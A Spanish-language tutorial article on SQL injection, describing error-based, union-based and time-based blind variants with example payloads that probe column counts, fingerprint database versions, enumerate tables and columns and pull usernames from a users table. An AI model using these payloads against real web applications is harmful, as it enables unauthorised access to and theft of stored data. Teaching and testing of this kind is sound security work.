Artículo técnico
SQL Injection
La inyección SQL es un ataque que explota vulnerabilidades en aplicaciones que utilizan bases de datos. Un atacante inserta código SQL malicioso en entradas como logins, formularios, URLs o parámetros de API. Esto puede otorgarles acceso no autorizado a datos o permitir manipulación de información.
Existen diferentes tipos de inyecciones SQL
~ Error-Based SQLi: Al insertar el payload la página muestra un mensaje de error al usuario como el siguiente
Actuamos en base al error que la página nos ha mostrado
~ Union-Based SQLi: Permite al atacante combinar los resultados de su consulta maliciosa con la consulta original utilizando la
cláusula `UNION`
Para este tipo de ataque es necesario conocer primero el número de columnas que existen y la base de datos que esta corriendo por detrás
Supongamos que el parámetro categories es vulnerable, primero de todo tenemos que saber el número de columnas que existen para ello podemos usar ORDER BY
`categories=gift' ORDER BY <NUM>--`
Iremos probando diferentes números, una vez conozcamos las columnas podremos obtener información de la base de datos, previamente usaremos payloads para ver el tipo de BD que es (PostgreSQL,MySQL , SQL Server)
A modo de ejemplo a la hora de aplicar el order by hemos descubierto que existen 2 columnas por lo que podremos usar los siguientes payloads
┌─[ code ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── PostgreSQL categories=gift' UNION SELECT version(), null-- MySQL categories=gift' UNION SELECT @@version, null-- Oracle categories=gift' UNION SELECT banner, null FROM v$version-- SQL Server categories=gift' UNION SELECT @@version, null-- └───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
El siguiente paso es enumerar las tablas en la Base de Datos
Para postgresql podemos usar el siguiente payload
`categories=gift' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema=current_schema()--`
Una vez enumeradas las tablas podemos hacer las consultas
`categories=gift' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'--`
┌─[ code ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── categories=gift' UNION SELECT username, null FROM users-- └───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
~ Time-Based Blind SQli: Este tipo de ataque se basa en usar funciones que retrasan la respuesta de la base de datos (SLEEP en
Mysql, pg_sleep en PostgreSQL)
`categories=gift' AND (SELECT pg_sleep(5))--`
Si la página tarda 5 segundos en responder, la condicion es verdadera por lo que es vulnerable a este tipo de inyección